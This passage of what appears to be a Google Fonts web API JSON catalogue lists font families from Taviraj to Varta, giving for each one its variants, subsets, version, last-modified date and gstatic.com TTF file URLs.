ttp://fonts.gstatic.com/s/taviraj/v6/ahccv8Cj3ylylTXzRCYKd-lbgUS5u0s.ttf","200italic":"http://fonts.gstatic.com/s/taviraj/v6/ahcev8Cj3ylylTXzTOwTn-hRhWa8q0v8ag.ttf","300":"http://fonts.gstatic.com/s/taviraj/v6/ahccv8Cj3ylylTXzREIJd-lbgUS5u0s.ttf","300italic":"http://fonts.gstatic.com/s/taviraj/v6/ahcev8Cj3ylylTXzTOwT--tRhWa8q0v8ag.ttf","regular":"http://fonts.gstatic.com/s/taviraj/v6/ahcZv8Cj3ylylTXzfO4hU-FwnU0.ttf","italic":"http://fonts.gstatic.com/s/taviraj/v6/ahcbv8Cj3ylylTXzTOwrV8N1jU2gog.ttf","500":"http://fonts.gstatic.com/s/taviraj/v6/ahccv8Cj3ylylTXzRBoId-lbgUS5u0s.ttf","500italic":"http://fonts.gstatic.com/s/taviraj/v6/ahcev8Cj3ylylTXzTOwTo-pRhWa8q0v8ag.ttf","600":"http://fonts.gstatic.com/s/taviraj/v6/ahccv8Cj3ylylTXzRDYPd-lbgUS5u0s.ttf","600italic":"http://fonts.gstatic.com/s/taviraj/v6/ahcev8Cj3ylylTXzTOwTj-1RhWa8q0v8ag.ttf","700":"http://fonts.gstatic.com/s/taviraj/v6/ahccv8Cj3ylylTXzRFIOd-lbgUS5u0s.ttf","700italic":"http://fonts.gstatic.com/s/taviraj/v6/ahcev8Cj3ylylTXzTOwT6-xRhWa8q0v8ag.ttf","800":"http://fonts.gstatic.com/s/taviraj/v6/ahccv8Cj3ylylTXzRE4Nd-lbgUS5u0s.ttf","800italic":"http://fonts.gstatic.com/s/taviraj/v6/ahcev8Cj3ylylTXzTOwT9-9RhWa8q0v8ag.ttf","900":"http://fonts.gstatic.com/s/taviraj/v6/ahccv8Cj3ylylTXzRGoMd-lbgUS5u0s.ttf","900italic":"http://fonts.gstatic.com/s/taviraj/v6/ahcev8Cj3ylylTXzTOwT0-5RhWa8q0v8ag.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Teko","variants":["300","regular","500","600","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/teko/v10/LYjCdG7kmE0gdQhfgCNqqVIuTN4.ttf","regular":"http://fonts.gstatic.com/s/teko/v10/LYjNdG7kmE0gTaR3pCtBtVs.ttf","500":"http://fonts.gstatic.com/s/teko/v10/LYjCdG7kmE0gdVBegCNqqVIuTN4.ttf","600":"http://fonts.gstatic.com/s/teko/v10/LYjCdG7kmE0gdXxZgCNqqVIuTN4.ttf","700":"http://fonts.gstatic.com/s/teko/v10/LYjCdG7kmE0gdRhYgCNqqVIuTN4.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Telex","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/telex/v9/ieVw2Y1fKWmIO9fTB1piKFIf.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Tenali Ramakrishna","variants":["regular"],"subsets":["latin","telugu"],"version":"v7","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/tenaliramakrishna/v7/raxgHj6Yt9gAN3LLKs0BZVMo8jmwn1-8KJXqUFFvtA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Tenor Sans","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/tenorsans/v12/bx6ANxqUneKx06UkIXISr3JyC22IyqI.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Text Me One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/textmeone/v8/i7dOIFdlayuLUvgoFvHQFWZcalayGhyV.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Texturina","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-11-20","files":{"100":"http://fonts.gstatic.com/s/texturina/v2/c4mM1nxpEtL3pXiAulRTkY-HGmNEX1b9NspjMwhAgliHhVrXy2eYG_Ug25riW1OD.ttf","200":"http://fonts.gstatic.com/s/texturina/v2/c4mM1nxpEtL3pXiAulRTkY-HGmNEX1b9NspjMwhAgliHhVrXy2cYGvUg25riW1OD.ttf","300":"http://fonts.gstatic.com/s/texturina/v2/c4mM1nxpEtL3pXiAulRTkY-HGmNEX1b9NspjMwhAgliHhVrXy2fGGvUg25riW1OD.ttf","regular":"http://fonts.gstatic.com/s/texturina/v2/c4mM1nxpEtL3pXiAulRTkY-HGmNEX1b9NspjMwhAgliHhVrXy2eYGvUg25riW1OD.ttf","500":"http://fonts.gstatic.com/s/texturina/v2/c4mM1nxpEtL3pXiAulRTkY-HGmNEX1b9NspjMwhAgliHhVrXy2eqGvUg25riW1OD.ttf","600":"http://fonts.gstatic.com/s/texturina/v2/c4mM1nxpEtL3pXiAulRTkY-HGmNEX1b9NspjMwhAgliHhVrXy2dGHfUg25riW1OD.ttf","700":"http://fonts.gstatic.com/s/texturina/v2/c4mM1nxpEtL3pXiAulRTkY-HGmNEX1b9NspjMwhAgliHhVrXy2d_HfUg25riW1OD.ttf","800":"http://fonts.gstatic.com/s/texturina/v2/c4mM1nxpEtL3pXiAulRTkY-HGmNEX1b9NspjMwhAgliHhVrXy2cYHfUg25riW1OD.ttf","900":"http://fonts.gstatic.com/s/texturina/v2/c4mM1nxpEtL3pXiAulRTkY-HGmNEX1b9NspjMwhAgliHhVrXy2cxHfUg25riW1OD.ttf","100italic":"http://fonts.gstatic.com/s/texturina/v2/c4mO1nxpEtL3pXiAulR5mL129FhZmLj7I4oiSUJyfYDu7sB5zHJQWR1i0Z7AXkODN94.ttf","200italic":"http://fonts.gstatic.com/s/texturina/v2/c4mO1nxpEtL3pXiAulR5mL129FhZmLj7I4oiSUJyfYDu7sB5zHJQWZ1j0Z7AXkODN94.ttf","300italic":"http://fonts.gstatic.com/s/texturina/v2/c4mO1nxpEtL3pXiAulR5mL129FhZmLj7I4oiSUJyfYDu7sB5zHJQWUNj0Z7AXkODN94.ttf","italic":"http://fonts.gstatic.com/s/texturina/v2/c4mO1nxpEtL3pXiAulR5mL129FhZmLj7I4oiSUJyfYDu7sB5zHJQWR1j0Z7AXkODN94.ttf","500italic":"http://fonts.gstatic.com/s/texturina/v2/c4mO1nxpEtL3pXiAulR5mL129FhZmLj7I4oiSUJyfYDu7sB5zHJQWS9j0Z7AXkODN94.ttf","600italic":"http://fonts.gstatic.com/s/texturina/v2/c4mO1nxpEtL3pXiAulR5mL129FhZmLj7I4oiSUJyfYDu7sB5zHJQWcNk0Z7AXkODN94.ttf","700italic":"http://fonts.gstatic.com/s/texturina/v2/c4mO1nxpEtL3pXiAulR5mL129FhZmLj7I4oiSUJyfYDu7sB5zHJQWfpk0Z7AXkODN94.ttf","800italic":"http://fonts.gstatic.com/s/texturina/v2/c4mO1nxpEtL3pXiAulR5mL129FhZmLj7I4oiSUJyfYDu7sB5zHJQWZ1k0Z7AXkODN94.ttf","900italic":"http://fonts.gstatic.com/s/texturina/v2/c4mO1nxpEtL3pXiAulR5mL129FhZmLj7I4oiSUJyfYDu7sB5zHJQWbRk0Z7AXkODN94.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Thasadith","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/thasadith/v4/mtG44_1TIqPYrd_f5R1YsEkU0CWuFw.ttf","italic":"http://fonts.gstatic.com/s/thasadith/v4/mtG-4_1TIqPYrd_f5R1oskMQ8iC-F1ZE.ttf","700":"http://fonts.gstatic.com/s/thasadith/v4/mtG94_1TIqPYrd_f5R1gDGYw2A6yHk9d8w.ttf","700italic":"http://fonts.gstatic.com/s/thasadith/v4/mtGj4_1TIqPYrd_f5R1osnus3QS2PEpN8zxA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"The Girl Next Door","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/thegirlnextdoor/v11/pe0zMJCIMIsBjFxqYBIcZ6_OI5oFHCYIV7t7w6bE2A.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Tienne","variants":["regular","700","900"],"subsets":["latin"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/tienne/v13/AYCKpX7pe9YCRP0LkEPHSFNyxw.ttf","700":"http://fonts.gstatic.com/s/tienne/v13/AYCJpX7pe9YCRP0zLGzjQHhuzvef5Q.ttf","900":"http://fonts.gstatic.com/s/tienne/v13/AYCJpX7pe9YCRP0zFG7jQHhuzvef5Q.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Tillana","variants":["regular","500","600","700","800"],"subsets":["devanagari","latin","latin-ext"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/tillana/v6/VuJxdNvf35P4qJ1OeKbXOIFneRo.ttf","500":"http://fonts.gstatic.com/s/tillana/v6/VuJ0dNvf35P4qJ1OQFL-HIlMZRNcp0o.ttf","600":"http://fonts.gstatic.com/s/tillana/v6/VuJ0dNvf35P4qJ1OQH75HIlMZRNcp0o.ttf","700":"http://fonts.gstatic.com/s/tillana/v6/VuJ0dNvf35P4qJ1OQBr4HIlMZRNcp0o.ttf","800":"http://fonts.gstatic.com/s/tillana/v6/VuJ0dNvf35P4qJ1OQAb7HIlMZRNcp0o.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Timmana","variants":["regular"],"subsets":["latin","telugu"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/timmana/v5/6xKvdShfL9yK-rvpCmvbKHwJUOM.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Tinos","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","hebrew","latin","latin-ext","vietnamese"],"version":"v15","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/tinos/v15/buE4poGnedXvwgX8dGVh8TI-.ttf","italic":"http://fonts.gstatic.com/s/tinos/v15/buE2poGnedXvwjX-fmFD9CI-4NU.ttf","700":"http://fonts.gstatic.com/s/tinos/v15/buE1poGnedXvwj1AW0Fp2i43-cxL.ttf","700italic":"http://fonts.gstatic.com/s/tinos/v15/buEzpoGnedXvwjX-Rt1s0CoV_NxLeiw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Titan One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/titanone/v8/mFTzWbsGxbbS_J5cQcjykzIn2Etikg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Titillium Web","variants":["200","200italic","300","300italic","regular","italic","600","600italic","700","700italic","900"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-10","files":{"200":"http://fonts.gstatic.com/s/titilliumweb/v9/NaPDcZTIAOhVxoMyOr9n_E7ffAzHKIx5YrSYqWM.ttf","200italic":"http://fonts.gstatic.com/s/titilliumweb/v9/NaPFcZTIAOhVxoMyOr9n_E7fdMbewI1zZpaduWMmxA.ttf","300":"http://fonts.gstatic.com/s/titilliumweb/v9/NaPDcZTIAOhVxoMyOr9n_E7ffGjEKIx5YrSYqWM.ttf","300italic":"http://fonts.gstatic.com/s/titilliumweb/v9/NaPFcZTIAOhVxoMyOr9n_E7fdMbepI5zZpaduWMmxA.ttf","regular":"http://fonts.gstatic.com/s/titilliumweb/v9/NaPecZTIAOhVxoMyOr9n_E7fRMTsDIRSfr0.ttf","italic":"http://fonts.gstatic.com/s/titilliumweb/v9/NaPAcZTIAOhVxoMyOr9n_E7fdMbmCKZXbr2BsA.ttf","600":"http://fonts.gstatic.com/s/titilliumweb/v9/NaPDcZTIAOhVxoMyOr9n_E7ffBzCKIx5YrSYqWM.ttf","600italic":"http://fonts.gstatic.com/s/titilliumweb/v9/NaPFcZTIAOhVxoMyOr9n_E7fdMbe0IhzZpaduWMmxA.ttf","700":"http://fonts.gstatic.com/s/titilliumweb/v9/NaPDcZTIAOhVxoMyOr9n_E7ffHjDKIx5YrSYqWM.ttf","700italic":"http://fonts.gstatic.com/s/titilliumweb/v9/NaPFcZTIAOhVxoMyOr9n_E7fdMbetIlzZpaduWMmxA.ttf","900":"http://fonts.gstatic.com/s/titilliumweb/v9/NaPDcZTIAOhVxoMyOr9n_E7ffEDBKIx5YrSYqWM.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Tomorrow","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["latin","latin-ext"],"version":"v3","lastModified":"2020-07-23","files":{"100":"http://fonts.gstatic.com/s/tomorrow/v3/WBLgrETNbFtZCeGqgR2xe2XiKMiokE4.ttf","100italic":"http://fonts.gstatic.com/s/tomorrow/v3/WBLirETNbFtZCeGqgRXXQwHoLOqtgE5h0A.ttf","200":"http://fonts.gstatic.com/s/tomorrow/v3/WBLhrETNbFtZCeGqgR0dWkXIBsShiVd4.ttf","200italic":"http://fonts.gstatic.com/s/tomorrow/v3/WBLjrETNbFtZCeGqgRXXQ63JDMCDjEd4yVY.ttf","300":"http://fonts.gstatic.com/s/tomorrow/v3/WBLhrETNbFtZCeGqgR15WUXIBsShiVd4.ttf","300italic":"http://fonts.gstatic.com/s/tomorrow/v3/WBLjrETNbFtZCeGqgRXXQ8nKDMCDjEd4yVY.ttf","regular":"http://fonts.gstatic.com/s/tomorrow/v3/WBLmrETNbFtZCeGqgSXVcWHALdio.ttf","italic":"http://fonts.gstatic.com/s/tomorrow/v3/WBLgrETNbFtZCeGqgRXXe2XiKMiokE4.ttf","500":"http://fonts.gstatic.com/s/tomorrow/v3/WBLhrETNbFtZCeGqgR0hWEXIBsShiVd4.ttf","500italic":"http://fonts.gstatic.com/s/tomorrow/v3/WBLjrETNbFtZCeGqgRXXQ5HLDMCDjEd4yVY.ttf","600":"http://fonts.gstatic.com/s/tomorrow/v3/WBLhrETNbFtZCeGqgR0NX0XIBsShiVd4.ttf","600italic":"http://fonts.gstatic.com/s/tomorrow/v3/WBLjrETNbFtZCeGqgRXXQ73MDMCDjEd4yVY.ttf","700":"http://fonts.gstatic.com/s/tomorrow/v3/WBLhrETNbFtZCeGqgR1pXkXIBsShiVd4.ttf","700italic":"http://fonts.gstatic.com/s/tomorrow/v3/WBLjrETNbFtZCeGqgRXXQ9nNDMCDjEd4yVY.ttf","800":"http://fonts.gstatic.com/s/tomorrow/v3/WBLhrETNbFtZCeGqgR11XUXIBsShiVd4.ttf","800italic":"http://fonts.gstatic.com/s/tomorrow/v3/WBLjrETNbFtZCeGqgRXXQ8XODMCDjEd4yVY.ttf","900":"http://fonts.gstatic.com/s/tomorrow/v3/WBLhrETNbFtZCeGqgR1RXEXIBsShiVd4.ttf","900italic":"http://fonts.gstatic.com/s/tomorrow/v3/WBLjrETNbFtZCeGqgRXXQ-HPDMCDjEd4yVY.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Trade Winds","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/tradewinds/v10/AYCPpXPpYNIIT7h8-QenM3Jq7PKP5Z_G.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Trirong","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v6","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/trirong/v6/7r3EqXNgp8wxdOdOl-go3YRl6ujngw.ttf","100italic":"http://fonts.gstatic.com/s/trirong/v6/7r3CqXNgp8wxdOdOn44QuY5hyO33g8IY.ttf","200":"http://fonts.gstatic.com/s/trirong/v6/7r3DqXNgp8wxdOdOl0QJ_a5L5uH-mts.ttf","200italic":"http://fonts.gstatic.com/s/trirong/v6/7r3BqXNgp8wxdOdOn44QFa9B4sP7itsB5g.ttf","300":"http://fonts.gstatic.com/s/trirong/v6/7r3DqXNgp8wxdOdOlyAK_a5L5uH-mts.ttf","300italic":"http://fonts.gstatic.com/s/trirong/v6/7r3BqXNgp8wxdOdOn44QcaxB4sP7itsB5g.ttf","regular":"http://fonts.gstatic.com/s/trirong/v6/7r3GqXNgp8wxdOdOr4wi2aZg-ug.ttf","italic":"http://fonts.gstatic.com/s/trirong/v6/7r3EqXNgp8wxdOdOn44o3YRl6ujngw.ttf","500":"http://fonts.gstatic.com/s/trirong/v6/7r3DqXNgp8wxdOdOl3gL_a5L5uH-mts.ttf","500italic":"http://fonts.gstatic.com/s/trirong/v6/7r3BqXNgp8wxdOdOn44QKa1B4sP7itsB5g.ttf","600":"http://fonts.gstatic.com/s/trirong/v6/7r3DqXNgp8wxdOdOl1QM_a5L5uH-mts.ttf","600italic":"http://fonts.gstatic.com/s/trirong/v6/7r3BqXNgp8wxdOdOn44QBapB4sP7itsB5g.ttf","700":"http://fonts.gstatic.com/s/trirong/v6/7r3DqXNgp8wxdOdOlzAN_a5L5uH-mts.ttf","700italic":"http://fonts.gstatic.com/s/trirong/v6/7r3BqXNgp8wxdOdOn44QYatB4sP7itsB5g.ttf","800":"http://fonts.gstatic.com/s/trirong/v6/7r3DqXNgp8wxdOdOlywO_a5L5uH-mts.ttf","800italic":"http://fonts.gstatic.com/s/trirong/v6/7r3BqXNgp8wxdOdOn44QfahB4sP7itsB5g.ttf","900":"http://fonts.gstatic.com/s/trirong/v6/7r3DqXNgp8wxdOdOlwgP_a5L5uH-mts.ttf","900italic":"http://fonts.gstatic.com/s/trirong/v6/7r3BqXNgp8wxdOdOn44QWalB4sP7itsB5g.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Trispace","variants":["100","200","300","regular","500","600","700","800"],"subsets":["latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-10-22","files":{"100":"http://fonts.gstatic.com/s/trispace/v1/Yq65-LKSQC3o56LxxgRrtA6yBqsrXL5GI5KI-IUZVGsxWFIlbH9qoQl0zHugpt0.ttf","200":"http://fonts.gstatic.com/s/trispace/v1/Yq65-LKSQC3o56LxxgRrtA6yBqsrXL5GI5KI-IUZVGsxWFIlbP9roQl0zHugpt0.ttf","300":"http://fonts.gstatic.com/s/trispace/v1/Yq65-LKSQC3o56LxxgRrtA6yBqsrXL5GI5KI-IUZVGsxWFIlbCFroQl0zHugpt0.ttf","regular":"http://fonts.gstatic.com/s/trispace/v1/Yq65-LKSQC3o56LxxgRrtA6yBqsrXL5GI5KI-IUZVGsxWFIlbH9roQl0zHugpt0.ttf","500":"http://fonts.gstatic.com/s/trispace/v1/Yq65-LKSQC3o56LxxgRrtA6yBqsrXL5GI5KI-IUZVGsxWFIlbE1roQl0zHugpt0.ttf","600":"http://fonts.gstatic.com/s/trispace/v1/Yq65-LKSQC3o56LxxgRrtA6yBqsrXL5GI5KI-IUZVGsxWFIlbKFsoQl0zHugpt0.ttf","700":"http://fonts.gstatic.com/s/trispace/v1/Yq65-LKSQC3o56LxxgRrtA6yBqsrXL5GI5KI-IUZVGsxWFIlbJhsoQl0zHugpt0.ttf","800":"http://fonts.gstatic.com/s/trispace/v1/Yq65-LKSQC3o56LxxgRrtA6yBqsrXL5GI5KI-IUZVGsxWFIlbP9soQl0zHugpt0.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Trocchi","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/trocchi/v9/qWcqB6WkuIDxDZLcDrtUvMeTYD0.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Trochut","variants":["regular","italic","700"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/trochut/v8/CHyjV-fDDlP9bDIw5nSIfVIPLns.ttf","italic":"http://fonts.gstatic.com/s/trochut/v8/CHyhV-fDDlP9bDIw1naCeXAKPns8jw.ttf","700":"http://fonts.gstatic.com/s/trochut/v8/CHymV-fDDlP9bDIw3sinWVokMnIllmA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Trykker","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/trykker/v9/KtktALyWZJXudUPzhNnoOd2j22U.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Tulpen One","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/tulpenone/v10/dFa6ZfeC474skLgesc0CWj0w_HyIRlE.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Turret Road","variants":["200","300","regular","500","700","800"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-07-23","files":{"200":"http://fonts.gstatic.com/s/turretroad/v2/pxidypMgpcBFjE84Zv-fE0ONEdeLYk1Mq3ap.ttf","300":"http://fonts.gstatic.com/s/turretroad/v2/pxidypMgpcBFjE84Zv-fE0PpEteLYk1Mq3ap.ttf","regular":"http://fonts.gstatic.com/s/turretroad/v2/pxiAypMgpcBFjE84Zv-fE3tFOvODSVFF.ttf","500":"http://fonts.gstatic.com/s/turretroad/v2/pxidypMgpcBFjE84Zv-fE0OxE9eLYk1Mq3ap.ttf","700":"http://fonts.gstatic.com/s/turretroad/v2/pxidypMgpcBFjE84Zv-fE0P5FdeLYk1Mq3ap.ttf","800":"http://fonts.gstatic.com/s/turretroad/v2/pxidypMgpcBFjE84Zv-fE0PlFteLYk1Mq3ap.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Ubuntu","variants":["300","300italic","regular","italic","500","500italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext"],"version":"v15","lastModified":"2020-09-10","files":{"300":"http://fonts.gstatic.com/s/ubuntu/v15/4iCv6KVjbNBYlgoC1CzTt2aMH4V_gg.ttf","300italic":"http://fonts.gstatic.com/s/ubuntu/v15/4iCp6KVjbNBYlgoKejZftWyIPYBvgpUI.ttf","regular":"http://fonts.gstatic.com/s/ubuntu/v15/4iCs6KVjbNBYlgo6eAT3v02QFg.ttf","italic":"http://fonts.gstatic.com/s/ubuntu/v15/4iCu6KVjbNBYlgoKeg7znUiAFpxm.ttf","500":"http://fonts.gstatic.com/s/ubuntu/v15/4iCv6KVjbNBYlgoCjC3Tt2aMH4V_gg.ttf","500italic":"http://fonts.gstatic.com/s/ubuntu/v15/4iCp6KVjbNBYlgoKejYHtGyIPYBvgpUI.ttf","700":"http://fonts.gstatic.com/s/ubuntu/v15/4iCv6KVjbNBYlgoCxCvTt2aMH4V_gg.ttf","700italic":"http://fonts.gstatic.com/s/ubuntu/v15/4iCp6KVjbNBYlgoKejZPsmyIPYBvgpUI.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Ubuntu Condensed","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/ubuntucondensed/v11/u-4k0rCzjgs5J7oXnJcM_0kACGMtf-fVqvHoJXw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Ubuntu Mono","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/ubuntumono/v10/KFOjCneDtsqEr0keqCMhbBc9AMX6lJBP.ttf","italic":"http://fonts.gstatic.com/s/ubuntumono/v10/KFOhCneDtsqEr0keqCMhbCc_CsHYkYBPY3o.ttf","700":"http://fonts.gstatic.com/s/ubuntumono/v10/KFO-CneDtsqEr0keqCMhbC-BL-Hyv4xGemO1.ttf","700italic":"http://fonts.gstatic.com/s/ubuntumono/v10/KFO8CneDtsqEr0keqCMhbCc_Mn33tYhkf3O1GVg.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Ultra","variants":["regular"],"subsets":["latin"],"version":"v13","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/ultra/v13/zOLy4prXmrtY-tT6yLOD6NxF.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Uncial Antiqua","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/uncialantiqua/v8/N0bM2S5WOex4OUbESzoESK-i-PfRS5VBBSSF.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Underdog","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/underdog/v9/CHygV-jCElj7diMroVSiU14GN2Il.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Unica One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/unicaone/v8/DPEuYwWHyAYGVTSmalshdtffuEY7FA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"UnifrakturCook","variants":["700"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"700":"http://fonts.gstatic.com/s/unifrakturcook/v12/IurA6Yli8YOdcoky-0PTTdkm56n05Uw13ILXs-h6.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"UnifrakturMaguntia","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/unifrakturmaguntia/v11/WWXPlieVYwiGNomYU-ciRLRvEmK7oaVun2xNNgNa1A.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Unkempt","variants":["regular","700"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/unkempt/v12/2EbnL-Z2DFZue0DSSYYf8z2Yt_c.ttf","700":"http://fonts.gstatic.com/s/unkempt/v12/2EbiL-Z2DFZue0DScTow1zWzq_5uT84.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Unlock","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/unlock/v10/7Au-p_8ykD-cDl7GKAjSwkUVOQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Unna","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v15","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/unna/v15/AYCEpXzofN0NCpgBlGHCWFM.ttf","italic":"http://fonts.gstatic.com/s/unna/v15/AYCKpXzofN0NOpoLkEPHSFNyxw.ttf","700":"http://fonts.gstatic.com/s/unna/v15/AYCLpXzofN0NMiQusGnpRFpr3vc.ttf","700italic":"http://fonts.gstatic.com/s/unna/v15/AYCJpXzofN0NOpozLGzjQHhuzvef5Q.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"VT323","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/vt323/v12/pxiKyp0ihIEF2hsYHpT2dkNE.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Vampiro One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/vampiroone/v11/gokqH6DoDl5yXvJytFsdLkqnsvhIor3K.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Varela","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/varela/v11/DPEtYwqExx0AWHXJBBQFfvzDsQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Varela Round","variants":["regular"],"subsets":["hebrew","latin","latin-ext","vietnamese"],"version":"v13","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/varelaround/v13/w8gdH283Tvk__Lua32TysjIvoMGOD9gxZw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Varta","variants":["300","regular","500","600","700"],"subsets":["latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-07-13","files":{"300":"http://fonts.gstatic.com/s/varta/v1/Qw3AZQpJHj_6LzHUngWbrFkDH1x96j4EirE-9PGLfQ.ttf","regular":"http://fonts.gstatic.com/s/varta/v1/Qw3AZQpJHj_6LzHUngWbrFkDH1x9tD4EirE-9PGLfQ.ttf","500":"http://fonts.gstatic.com/s/varta/v1/Qw3AZQpJHj_6LzHUngWbrFkDH1x9hj4EirE-9PGLfQ.ttf","600":"http://fonts.gstatic.com/s/varta/v1/Qw3AZQpJHj_6LzHUngWbrFkDH1x9ajkEirE-9PGLfQ.ttf","700":"http://fonts.gstatic.com/s/varta/v1/Qw3AZQpJHj_6LzHUngWbrFkDH1x9UzkEirE-9PGLfQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Vast 